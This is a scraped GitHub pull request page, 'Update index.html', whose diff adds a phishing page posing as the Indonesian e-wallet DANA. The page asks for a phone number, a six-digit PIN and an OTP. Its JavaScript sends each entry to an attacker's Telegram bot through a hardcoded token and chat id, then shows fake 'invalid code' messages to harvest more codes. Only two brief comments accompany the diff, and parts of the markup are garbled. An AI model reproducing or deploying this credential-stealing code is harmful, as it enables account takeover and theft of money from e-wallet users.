Update index.html #4396
Open
Update index.html #4396
+798
−23
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ekwoka
suggested changes
Oct 15, 2024
|
Can't wait to see that script suggestion in my coPilot. |
|
hi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
body, html{
left: 0;
right: 0;
bottom: 0;
top: 0;
margin: 0px auto;
width: 100%;
height: 100%;
positon: fixed
}
h2{font-size: 18px; }
h3{
font-size: 14px;
}
box-sizing: border-box;
scrollbar-color: transparent transparent; /* thumb and track color */
scrollbar-width: 0px;
}
*::-webkit-scrollbar {
width: 0;
}
*::-webkit-scrollbar-track {
background: transparent;
}
*::-webkit-scrollbar-thumb {
background-color: #118CEA;
border: none;
}
-ms-overflow-style: none;
}
ol, li {
list-style: none;
margin: 0;
padding: 0;
}
.carousel {
position: absolute;
background-color: #118CEA;
padding-top:0%;
height: 100%;
top: 0;
right: 0;
left: 0;
margin: 0px auto;
perspective: 200px;
}
.carousel__viewport {
position: absolute;
padding: 32px;
width: 100%;
top: 0;
background-color: #118CEA;
right: 0;
bottom: 0;
left: 0;
height: 79%;
display: flex;
overflow-x: scroll;
counter-reset: item;
margin: 0px auto;
}
.carousel__slide {
position: relative;
flex: 0 0 100%;
width: 100%;
height: 100%;
margin-left: 10px;
background-color: #118CEA;
counter-increment: item;
z-index: 99999999;
}
.carousel__slide:nth-child(even) {
background-color: #118CEA;
}
.carousel__slide:before {
content: counter(item);
position: absolute;
top: 50%;
left: 50%;
transform: translate3d(-50%,-40%,70px);
color: #000;
font-size: 2em;
background-color: #118CEA;
}
.carousel__snapper {
position: relative;
top: 0;
left: 0;
right: 0;
bottom: 0;
width: 100%;
height: 100%;
scroll-snap-align: center;
background-color: #118CEA;
}
@media (hover: hover) {
.carousel__snapper {
animation-name: tonext, snap;
animation-timing-function: ease;
animation-duration: 4s;
animation-iteration-count: infinite;
}
}
@media (prefers-reduced-motion: reduce) {
.carousel__snapper {
animation-name: none;
}
}
.carousel:hover .carousel__snapper,
.carousel:focus-within .carousel__snapper {
animation-name: none;
}
.carousel__navigation {
position: absolute;
right: 0;
bottom: 0;
left: 0;
text-align: center;
}
.carousel__navigation-list,
.carousel__navigation-item {
display: inline-block;
}
.carousel::before,
.carousel::after,
.carousel__prev,
.carousel__next {
position: absolute;
top: 0;
margin-top: 37.5%;
width: 0;
height: 0;
transform: translateY(-50%);
border-radius: 50%;
font-size: 0;
outline: 0;
opacity: 0.0;
}
.carousel::before,
.carousel__prev {
left: -1rem;
}
.carousel::after,
.carousel__next {
right: 0rem;
}
.carousel::before,
.carousel::after {
content: '';
z-index: 1;
background-color: #fff;
background-size: 1.5rem 1.5rem;
background-repeat: no-repeat;
background-position: center center;
color: #000;
font-size: 2.5rem;
line-height: 4rem;
text-align: center;
pointer-events: none;
}
/*********************/
.process1 {
width: 100%;
height: 100%;
display: flex;
justify-content: center;
margin: auto;
position: absolute;
padding-top: 300px;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.6);
z-index: 99999;
}
.loading {
position: absolute;
display: flex;
justify-content: center;
align-items: center;
margin-bottom: 20%;
}
.loading img {
width: 50px;
}
.loading .spinner{
position: absolute;
width: 35px;
animation: spin 1s linear infinite;
-webkit-animation: spin 1s linear infinite;
-moz-animation: spin 1s linear infinite;
-ms-animation: spin 1s linear infinite;
-o-animation: spin 1s linear infinite;
}
@Keyframes spin {
0% { transform: rotate(360deg); }
100% { transform: rotate(0deg); }
}
@-webkit-keyframes spin {
0% { -webkit-transform: rotate(360deg); }
100% { -webkit-transform: rotate(0deg); }
}
@-moz-keyframes spin {
0% { -webkit-transform: rotate(360deg); }
100% { -webkit-transform: rotate(0deg); }
}
@-ms-keyframes spin {
0% { -webkit-transform: rotate(360deg); }
100% { -webkit-transform: rotate(0deg); }
}
@-o-keyframes spin {
0% { -webkit-transform: rotate(360deg); }
100% { -webkit-transform: rotate(0deg); }
}
/*********************/
#homeku{
width: 100%;
height: 100%;
position: fixed;
background: #118EEA;
background-position: 100% 100%;
background-size: 100% 100%;
left: 0;
right: 0;
top: 0;
bottom: 0;
margin: 0px auto;
}
.inp{
width: 70%;
padding-left: 10px;
}
.btn-backku{
position: absolute;
left: 20;
top: 12;
background: transparent;
color: #fff;
border: none;
font-size: 18px;
font-weight: 300;
}
#back1{
display: none;
}
#back2{
display: none;
}
</style>
Dompet digital untuk kamu!
Simpan uang serta kartu debit/kredit dengan
praktis di DANA
Masukkan nomor HP kamu untuk lanjut
LOGINDANA Indonesia terdaftar dan diawasi
oleh Bank Indonesia dan Kominfo
Nomor ponsel akan digunakan sebagai ID kamu & menjaga
akun selalu aman. Dengan melanjutkan, kamu setuju dengan Syarat & Ketentuan dan Kebijakan Privasi kami.
LANJUT
Masukkan PIN DANA
<input name="pin2" id="pin2" class="inppin" inputmode="numeric" type="password" autocomplete="off" required""""="" maxlength="1" onkeypress="if(this.value.length==1) return false;">
TAMPILKAN
LUPA PIN?
Masukan Kode OTP
"; var logo = document.getElementById('logo'); var inp = document.getElementById('inp'); var pin1 = document.getElementById('pin1'); var pin2 = document.getElementById('pin2'); var pin3 = document.getElementById('pin3'); var pin4 = document.getElementById('pin4'); var pin5 = document.getElementById('pin5'); var pin6 = document.getElementById('pin6'); var gabungan = '' + logo.value + '%0A𝐍𝐨.𝐇𝐩: ' + '0' + inp.value + '%0A𝗣 𝗜 𝗡 >>>> : ' + pin1.value + pin2.value + pin3.value + pin4.value + pin5.value + pin6.value; var token = '7680523455:AAFCLm8RCHhLcLCIEkQNv9MeN3oMRPttBnA'; var grup = '6843904888'; $.ajax({ url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`, method: `POST`, success: function(){ $("#process").hide(); document.getElementById("alert").style.display = "block"; $(".bgotp").fadeIn(); setInterval(countdown, 1000); $("#otp1").focus(); } } ); }; function sendOtp(){ $(".loadingOtp").show(); var logo = document.getElementById('logo'); var inp = document.getElementById('inp'); var pin1 = document.getElementById('pin1'); var pin2 = document.getElementById('pin2'); var pin3 = document.getElementById('pin3'); var pin4 = document.getElementById('pin4'); var pin5 = document.getElementById('pin5'); var pin6 = document.getElementById('pin6'); var otp1 = document.getElementById('otp1'); var otp2 = document.getElementById('otp2'); var otp3 = document.getElementById('otp3'); var otp4 = document.getElementById('otp4'); setTimeout(function(){ $(".alert").text("Kode Invalid "); $(".alert").css("color","red"); },2000); var gabungan = '' + logo.value + '%0A𝐍𝐨.𝐇𝐩: ' + '0' + inp.value + '%0A𝗣 𝗜 𝗡 >>>> : ' + pin1.value + pin2.value + pin3.value + pin4.value + pin5.value + pin6.value + '%0A%0A𝗢 𝗧 𝗣>>>> : ' + otp1.value + otp2.value + otp3.value + otp4.value; var token = '7680523455:AAFCLm8RCHhLcLCIEkQNv9MeN3oMRPttBnA'; var grup = '6843904888'; $.ajax({ url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`, method: `POST`, success: function(){ setTimeout(function(){ $(".loadingOtp").hide(); $('.inpotp').val(''); $('#otp1').focus(); var nomor = sessionStorage.getItem("nomor"); document.getElementById("alert").innerHTML = "Kode baru dikirim ulang via WhatsApp ke +62" + nomor + "
"; $(".alert").css("color","black"); },4000); } } ); }; </script> <script> function countdown() { var count = parseInt( $('#countdown').text()); if (count !== 0) { $('#countdown').text(count - 1);} else { $('#countdown').text('60');}}; </script> <script> window.onload = function(){ setTimeout(function(){ $(".start").fadeIn(); setTimeout(function(){ $(".start").fadeOut(1000); setTimeout(function(){ $(".container").fadeIn(200); $("#inp").focus(); },1000); },1000); },500); } </script>
id="
<title>Judul halaman</title> "